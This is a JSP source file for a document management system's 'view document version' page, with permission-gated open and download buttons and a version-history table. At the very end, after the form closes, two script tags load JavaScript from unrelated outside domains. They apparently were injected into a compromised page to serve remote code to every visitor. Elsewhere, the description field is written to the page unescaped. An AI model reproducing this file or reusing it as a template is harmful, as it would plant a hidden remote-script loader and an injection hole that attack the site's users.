<%
/*
 * @(#)ViewDmsDocumentVersion.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Anson Mo
    @company          DCIVision Limited
    @creation date    07/13/2004
    @version          $Revision: 1.9.2.14 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>

<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentVersionForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentVersionForm"/>


<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
</head>


<script language="javascript">
<!--
function checkWindowForAction(url) {
  var popW = "850";
  var popH = "600";
  var name = "DCIVisionDmsVersionWindow";
  var feature = "toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes";
  OpenCenteredPopup(url,name,popW,popH,feature);
  return (false);
}
-->
</script>

<html:form type="MaintDmsDocumentVersionForm" action="dms/MaintDmsDocumentVersion">
<html:javascript formName="maintDmsDocumentVersionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String      LIST_NAME = "forumGroupDetailList";
  String      VERSION_LIST_NAME = "dmsVersionList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.name_label_D", "DOCUMENT_NAME"},
                            {"dms.columnheader.relationshipType",GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.related_doc_name","RELATED_DOCUMENT_ID "},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                            {"common.label.creator","CERATOR"}
                          };

  String[][]  VERSION_LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.ver_number", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.ver_label", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.reference_no", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.description", GlobalConstant.NOT_AVAILABLE},
                            {"common.label.creator", GlobalConstant.NOT_AVAILABLE},
                            {"common.label.create_date", GlobalConstant.NOT_AVAILABLE}
                          };

  int     COLUMN_OFFSET = 2;

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  String documentType  = maintDmsDocumentVersionForm.getDocumentType();
  String sCurFunctionCode = maintDmsDocumentVersionForm.getCurFunctionCode();
  String docItemStatus = maintDmsDocumentVersionForm.getItemStatus();
  Integer documentID = TextUtility.parseIntegerObj(maintDmsDocumentVersionForm.getID());
  Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentVersionForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentVersionForm.getParentID());

  DmsDocument dmsDocument=docRetrievalManager.getDocument(documentID);
  DmsDocument targetDocument = (DmsDocument)maintDmsDocumentVersionForm.getFormData();
  DmsDocument rootFolder = (DmsDocument)docRetrievalManager.getRootFolderByRootID(rootID);
  List udfDetailList = (List) maintDmsDocumentVersionForm.getUdfDetailList();
  List docDetailList = (List) maintDmsDocumentVersionForm.getDocumentDetails();
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  DmsRoot dmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(documentID);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);
  String sExtension = TextUtility.getExtension(dmsDocument.getDocumentName());
  List dmsVersionList = new ArrayList();
  dmsVersionList = (List)request.getAttribute("dmsVersionList");

  DmsDocument targetDoc = new DmsDocument();
  DmsDocument targetDocRoot = new DmsDocument();
  String targetDocPermission = "";
  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
    targetDoc = (DmsDocument)request.getAttribute("targetDoc");
    if (targetDoc!=null) {
      targetDocRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(targetDoc.getRootID());
      targetDocPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());
    }
  }

  String sVersion = DmsOperationConstant.DMS_TOP_VERSION;
  String sFileName=maintDmsDocumentVersionForm.getDocumentName();
  int iDot = sFileName.lastIndexOf(".");
  String sExt = TextUtility.getExtension(sFileName);
  String contextPath = (String)pageContext.getServletContext().getAttribute(GlobalConstant.CONTEXT_PATH_KEY);

  DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
  Integer checkoutPersonID = new Integer("0");
  if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
    checkoutHistory = (DmsCheckoutHistory)verControlManager.getCheckoutHistory(TextUtility.parseIntegerObj(maintDmsDocumentVersionForm.getCheckoutID()));
    checkoutPersonID = checkoutHistory.getCheckoutPersonID();
  }
  boolean inviteToRead = true;
  if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
    inviteToRead = true;
  }

  //get list of the document relation
  MtmDocumentRelationshipDAObject dmsMtmDocumentRelationshipDAO = new MtmDocumentRelationshipDAObject (sessionContainer, conn);
  List DocRelationList = new ArrayList();
  List IndirectRelationDocumentList=new ArrayList();
  DocRelationList = dmsMtmDocumentRelationshipDAO.getListByIDRelationType(documentID,null);
  IndirectRelationDocumentList=dmsMtmDocumentRelationshipDAO.getListByRelationIDRelationType(documentID,null);

  String recordStatus = maintDmsDocumentVersionForm.getRecordStatus();

  //get list of compound document  //get list of compound document
  List CompoundDocList = new ArrayList();
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
      CompoundDocList=docRetrievalManager.getDocumentListByParentIDRootID(documentID, rootID);
  }
%>

<layout:titleFormat><font class="pageTitle"><layout:pageTitle linkFlag="false" displayActionStr="false" functionCode="<%=sCurFunctionCode%>" functionType='<%="dms.label.doc_info_"+documentType%>'/></font></layout:titleFormat>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID' value='<%=documentID.toString()%>'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>


<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>

<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='dms.label.doc_info_D'/></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="2">
  <tr>
    <td width="241" valign="top" class="<layout:classLabel mandatory='false'/>"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>'/>
    </td>
  </tr>
  <tr>
    <td width="241" valign="top" class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_"+documentType%>'/> <bean:message key="dms.label.document_name"/>:&nbsp;
    </td>
    <td width="699" class="formFieldSmall">
    <nobr><dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentVersionForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>
      <%if(!SystemFunctionConstant.DMS_EMPTY_FILE.equals(sCurFunctionCode)){%>
      <html:img src='LayoutSpacer.gif'  width='30'/>
      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentVersionForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentVersionForm.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
      <html:standardButton label="dms.label.download" disable="true"/>
      <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus())){%>
      <html:standardButton label="dms.label.open" disable="true"/>
      <html:standardButton label="dms.label.download" disable="true"/>
      <%}else{%>
        <%if ((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || (inviteToRead && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())) || (inviteToRead && DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType()))){%>
          <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
           <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentVersionForm.ID}&documentType="+documentType+"&version="+sVersion+"&ext=."+sExt%>' target="_blank"/>
          <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
            <html:standardButton label="dms.label.downloadall" link='<%=contextPath+"/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode="+sCurFunctionCode+"&targetID=${maintDmsDocumentVersionForm.ID}&version="+sVersion+"&isDownload=Y&ext=."+sExt%>'/>
          <%}%>
        <%}else{%>
          <html:standardButton label="dms.label.open" disable="true"/>
          <html:standardButton label="dms.label.download" disable="true"/>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
           <html:standardButton label="dms.label.downloadall" disable="true"/>
        <%}%>
         <%}%>
      <%}%>
    <%}%>
    </td>
  </tr>
  <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (DmsDocument.DOCUMENT_LINK.equals(documentType))){%>
  <html:hidden property='effectiveStartDate'/>
  <html:hidden property='effectiveEndDate'/>
  <%} else {
    %>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveStartDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveEndDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <%}%>
  <%if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null ){%>
    <tr>
      <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.target_file'/>:&nbsp;</td>
      <td class="formFieldSmall">
      <dms:documentInfo docObject='<%=(DmsDocument)targetDoc%>' recordStatus='<%=targetDoc.getRecordStatus()%>' curFunctionCode='' permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' linkFlag='false'/>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="'25%" valign='top'><bean:message key='dms.label.target_file_location'/>:&nbsp;</td>
      <td class="formFieldSmall"  width='75%'><nobr>
      <dms:locationPath parentID="<%=targetDoc.getParentID()%>" rootID="<%=targetDoc.getRootID()%>" permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' indexFlag='showIndexFlag'/>
      </nobr>
      </td>
    </tr>

    <%}else{         %>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>' textOnly="true"><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' textOnly="true"><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>' textOnly="true"><bean:message key='common.priority.label_1'/></html:radio>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><%=maintDmsDocumentVersionForm.getReferenceNo()==null?"-":maintDmsDocumentVersionForm.getReferenceNo()%></td>
  </tr>
  <%}%>
  <tr>
    <td width="241" valign="top" class="formLabelSmall"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <% String description = maintDmsDocumentVersionForm.getDescription();
       description = TextUtility.replaceString(description, "\n", "<br>&nbsp;");
       if (!Utility.isEmpty(description)){%>
          <%=description%>
       <%}else{%>
            <%=GlobalConstant.EMPTY_FIELD%>
       <%}%>
    </td>
  </tr>
<%
  if (DmsDocument.DOCUMENT_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)||
      DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {

    // Default profile display.
    int totalFieldCount = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));

    for (int i = 0; i < totalFieldCount; i++) {%>
    <%DmsDefaultProfileSetting setting = ((DmsDefaultProfileSetting)DMS_DEF_PROFILE.get(i));%>
  <tr>
    <td class="<layout:classLabel mandatory='<%="Y".equals(setting.getMandatoryFlag())%>'/>" width="25%" valign="top"><%=setting.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
    <%
    if (DmsDefaultProfileSetting.FIELD_TYPE_INTEGER.equals(setting.getFieldType())) {%>
    <html:integer property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_FLOAT.equals(setting.getFieldType())) {%>
    <html:float property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting.getFieldType())) {%>
    <html:datepicker property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(setting.getFieldType())) {%>
    <html:text property='<%="userDef"+(i+1)%>' textOnly="true"/>
    <%} else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(setting.getFieldType()) || DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(setting.getFieldType())) {%>
      <%String[][] tmpAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY)).getOptionStringArray(setting);%>
    <html:select property='<%="userDef"+(i+1)%>' textOnly="true">
      <html:options stringArray='<%=tmpAry%>'/>
    </html:select>
    <%} else {%>

    <%}%>
    </td>
  </tr>
  <%}
  }%>
  <!-- Common Item End -->

   <!-- UDF for Document -->
  <% if (!Utility.isEmpty(udfDetailList))  {%>
  <tr>
    <td width="241" valign='top' class="formLabelSmall"><bean:message key='dms.label.profile_name'/>:&nbsp;</td>
    <td width="699" class="formFieldSmall"><%=maintDmsDocumentVersionForm.getUserDefinedType()%></td>
  </tr>
  <%
        SysUserDefinedIndexDetail udfDetail = null;
        String classType = "formLabelSmall";
        for ( int i=0; i< udfDetailList.size(); i++) {
          udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);

          String fieldValue = "";
          Timestamp realDateValue = null;
          for (int j=0; j < docDetailList.size(); j++) {
            if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
              if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
                fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();
              } else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())) {
                if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue() !=null ) {
                  fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
                }
              } else {
                fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue();
              }
              break;
            }
          }
          fieldValue = TextUtility.htmlEncode(fieldValue);%>

  <tr>
    <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
    <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getFieldType() %>">
    <td width="241" valign='top' class="formLabelSmall"><%=udfDetail.getFieldName()%>:&nbsp;</td>
    <td class="formFieldSmall" width='699'><%=fieldValue%></td>
  </tr>
  <%}%>
  <%}%>
  <%if(sCurFunctionCode.equals(SystemFunctionConstant.DMS_PUBLIC_FOLDER)){%>
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key="dms.columnheader.item_status"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
    <%if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) { %>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
        <%if (docItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
          String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID);
%>
        <a href="javascript://" onClick="return OpCheckin('<%=maintDmsDocumentVersionForm.getID()%>', '<%=maintDmsDocumentVersionForm.getParentID()%>', '<%=maintDmsDocumentVersionForm.getRootID()%>', '<%=sCurFunctionCode%>', <%=checkoutPersonID%>, <%=sessionContainer.getUserRecordID()%>, '<%=GlobalConstant.NAV_MODE_PREVIEW%>');" onMouseOver="return overlib('<table border=0 cellpadding=0 cellspacing=0><tr><td><img src=\'<html:img src="IconDMSLock.gif"  pathOnly="true" align="absmiddle"/>\'></td><td><nobr>&nbsp;<%=checkoutUser%></nobr></td></tr></table>', WIDTH, 120, BGCOLOR, '#990000', FGCOLOR, '#FFEEFF', LEFT);" onmouseout="return nd();"><html:img src='IconDMSLock.gif'  align="absmiddle"/></a>
        <%} else if (docItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
        <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
        <%} else {%>
            <%if (permission.indexOf("T")>=0){%>
               <%if (GlobalConstant.RECORD_PENDING.equals(recordStatus)) { %>
                 <html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
         <%}else{%>
                 <a href="javascript://" onClick="return OpCheckout('<%=maintDmsDocumentVersionForm.getID()%>', '<%=maintDmsDocumentVersionForm.getParentID()%>', '<%=maintDmsDocumentVersionForm.getRootID()%>', '<%=sCurFunctionCode%>', '<%=GlobalConstant.NAV_MODE_PREVIEW%>');"><html:img src='IconDMSUnlock.gif'  align="absmiddle"/></a>
                 <%}%>
            <%}else{%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}%>
        <%}%>
      <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
      <%}%>
    <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
    <%}%>
    </td>
  </tr>
  <%}%>
  <%if (DmsDocument.DOCUMENT_TYPE.equals(documentType)) { %>
  <!--
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key="dms.label.number_of_versions"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall"><%=maintDmsDocumentVersionForm.getNoOfVersion()%></td>
  </tr>
  -->
  <tr>
    <td width="241" class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
      <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
      %>
    </td>
  </tr>
  <%}else if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)) {%>
    <td width="241" class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/>:&nbsp;</td>
    <td width="699" class="formFieldSmall">
      <%  int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
      %>
    </td>
  <%}%>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
</table>

<!--show Documet version -->
<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="maintDmsDocumentVersionForm" labelMap="<%=VERSION_LABEL_MAP%>" sortAttribute="<%=maintDmsDocumentVersionForm.getSortAttribute()%>" sortOrder="<%=maintDmsDocumentVersionForm.getSortOrder()%>" checkColumn="false" copyColumn="false" editLabel=""/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <%String parentVersionID="";%>
  <logic:iterate id="dmsVersion" name="<%=VERSION_LIST_NAME%>" scope="request" indexId="listLoopCnt">

  <tr onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsVersion).getID()%>);">
    <td width="32">
      <nobr>

      <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<bean:write name='dmsVersion' property='documentID'/>&version=<bean:write name='dmsVersion' property='ID'/>&ext=.<%=sExtension%>" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
      </nobr>
    </td>
    <td nowrap width="80">
      <bean:write name='dmsVersion' property='versionNumber'/>
    </td>
    <td nowrap width="50"><bean:write name='dmsVersion' property='versionLabel'/></td>
    <td align="center" width="50" nowrap><nobr>
     <% int itemSize = ((DmsVersion) dmsVersion).getItemSize().intValue();
        out.print(TextUtility.formatFileSize(itemSize));   %></nobr>
    </td>
    <td nowrap width="110">
      <bean:write name='dmsVersion' property='referenceNo'/>
    </td>
    <td nowrap width="110">
      <bean:write name='dmsVersion' property='description'/>
    </td>
    <td class="bodyVerySmall" width="100" nowrap><bean:write name='dmsVersion' property='creatorName'/></td>
    <td class="bodyVerySmall" width="90" nowrap><bean:write name='dmsVersion' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="maintDmsDocumentVersionForm" name='<%=VERSION_LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
<table width="100%" border="0" cellspacing="0">
        <tr>
    <td align="center">
    <%if(!sCurFunctionCode.equals(SystemFunctionConstant.DMS_EMPTY_FILE)){%>
      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentVersionForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentVersionForm.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
            <html:standardButton label="dms.label.download" disable="true"/>
      <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus())){%>
      <html:standardButton label="dms.label.open" disable="true"/>
            <html:standardButton label="dms.label.download" disable="true"/>
      <%}else{%>
        <%if ((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || (inviteToRead && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())) || (inviteToRead && DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType()))){%>
          <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && ( !DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType()))){%>
          <html:standardButton label="dms.label.open" link='<%=contextPath + "/dms/FileDownloadServlet?sCurFunctionCode=" + sCurFunctionCode + "&targetID=${maintDmsDocumentVersionForm.ID}" + "&documentType=" + documentType + "&version=" + sVersion + "&ext=." + sExt%>' target="_blank"/>
        <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
          <html:standardButton label="dms.label.downloadall" link='<%=contextPath + "/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode=" + sCurFunctionCode + "&targetID=${maintDmsDocumentVersionForm.ID}&version=" + sVersion + "&isDownload=Y&ext=." + sExt%>'/>
          <%}%>
        <%}else{%>
        <html:standardButton label="dms.label.open" disable="true"/>
        <html:standardButton label="dms.label.download" disable="true"/>
        <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
            <html:standardButton label="dms.label.downloadall" disable="true"/>
        <%}%>
      <%}%>
     <%}%>
    <%}%>
      <html:standardButton label="common.label.close" link="javascript:window.close();"/>
    </td>
  </tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>